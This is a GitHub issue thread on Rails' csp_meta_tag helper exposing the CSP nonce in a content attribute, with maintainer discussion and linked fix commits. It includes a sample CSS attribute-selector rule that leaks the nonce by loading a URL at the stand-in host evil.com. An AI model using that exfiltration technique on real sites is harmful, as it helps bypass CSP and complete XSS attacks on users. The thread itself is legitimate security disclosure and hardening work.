Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

csp_meta_tag helper generates a meta tag w/o out making use of the nonce hiding which could lead to nonce value exfiltration of nonce data #51580

Open
tvongaza opened this issue Apr 16, 2024 · 2 comments

Comments

@tvongaza
Copy link

tvongaza commented Apr 16, 2024

Previously reported via Hackerone, reference #2432937 - Was asked by @tenderlove to create an issue here.

@tvongaza thanks for reporting this! I'm also not clear on how one would go about exploiting / using this information. However, I definitely agree we should fix the attribute name in the meta tag. Would you mind filing an issue in the public tracker, and we can fix it there?
Thank you!

Steps to reproduce

The rails csp_meta_tag helper generates meta tag with a content attribute which in theory can have it's nonce value exfiltrated.

Example:

<%= csp_meta_tag %>

Generates:

<meta name="csp-nonce" content="f7505009ff5f468269b583653293acb5">

Which an attacker could access via carefully crafted css such as:

meta[content~="f7505009ff5f468269b583653293acb5"] {
  background: url("https://evil.com/nonce?f7505009ff5f468269b583653293acb5");
}

While I'm not too sure how this type of attack vector could be exploited, or used (have no working exploit), there seems to be ways to curb it via using the nonce attribute instead of the content attribute for the nonce value, which in most browser has nonce hiding behaviour.

Example, if we instead generated a meta tag like this:

<meta name="csp-nonce" nonce="f7505009ff5f468269b583653293acb5">

It the following would no longer work, as the only way to access the nonce value is via element.nonce property.

/* this fails, as in css nonce will always return an empty string */
meta[nonce~="f7505009ff5f468269b583653293acb5"] {
  background: url("https://evil.com/nonce?f7505009ff5f468269b583653293acb5");
}
document.querySelector('meta[name="csp-nonce"]').getAttribute("nonce"); // returns an empty string
document.querySelector('meta[name="csp-nonce"]').nonce; // returns "f7505009ff5f468269b583653293acb5"

More information:
whatwg/html#2369
https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/nonce#accessing_nonces_and_nonce_hiding

Note this would be a breaking change for libraries making use of the csp_meta_tag's content attributes. Examples include (but not limited to):

Impact

Low, not too sure what sort of attack vectors this achieves - others more familiar in this space may be more aware. However if there is an opportunity to have defence in depth we should take it.

Expected behavior

Nonce value exfiltration should be protected against.

Actual behavior

Nonce value exfiltration is possible.

System configuration

Rails version: HEAD as of April 16, 2024 (commit 1428ef9)

Ruby version: 3.3

@tenderlove
Copy link
Member

I think we should make this change, but I'm not sure what the impact is on existing JS libraries. We're going to have to coordinate fixing Rails along with the corresponding JS libraries. If someone wants to handle that work, I'd really appreciate it!

codergeek121 added a commit to codergeek121/rails that referenced this issue May 3, 2024
Adds a configuration to rename the csp helper attribute name.

It's disabled by default currently until the JS libraries are updated to the
new attribute name and Rails can ship with a new default attribute name.

Fixes rails#51580
codergeek121 added a commit to codergeek121/turbo that referenced this issue May 3, 2024
…ttribute

This PR allows Turbo to support rails/rails#51729 to allow using the `nonce` attribute as well as the `content` attribute.

As described in rails/rails#51580 (comment) this makes it harder to extract the nonce value.
@bdewater
Copy link
Contributor

While I'm not too sure how this type of attack vector could be exploited, or used (have no working exploit)

I think this is dependant on whether the nonce is random per request or not. The W3C Content Security Policy standard says it must be:

Nonces override the other restrictions present in the directive in which they’re delivered. It is critical, then, that they remain unguessable, as bypassing a resource’s policy is otherwise trivial.
If a server delivers a nonce-source expression as part of a policy, the server MUST generate a unique value each time it transmits a policy. The generated value SHOULD be at least 128 bits long (before encoding), and SHOULD be generated via a cryptographically secure random number generator in order to ensure that the value is difficult for an attacker to predict.

Since #43227 generated app initializers and Rails guide recommended to use the session identifier so it plays more nicely with caching. To my understanding of the issue: if this advice is followed and the app is vulnerable to XSS, the exfiltrated nonce can be used to bypass the CSP and complete the XSS attack.

Abusing the nonce to not be a 'number used once' in this way seems to be using the wrong part of CSP for solving the issue with caching. CSP can also allows script using hashes. This web.dev article calls hashes out explicitly for being the appropriate solution for cached pages.

The proposed fix to prevent exfiltration is called out in the CSP standard (linking to https://html.spec.whatwg.org/multipage/urls-and-fetching.html#nonce-attributes) so to that seems to be a good idea regardless of CSP hash support in Rails.

codergeek121 added a commit to codergeek121/rails that referenced this issue May 10, 2024
Adds a configuration to rename the csp helper attribute name.

It's disabled by default currently until the JS libraries are updated to the
new attribute name and Rails can ship with a new default attribute name.

Fixes rails#51580
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants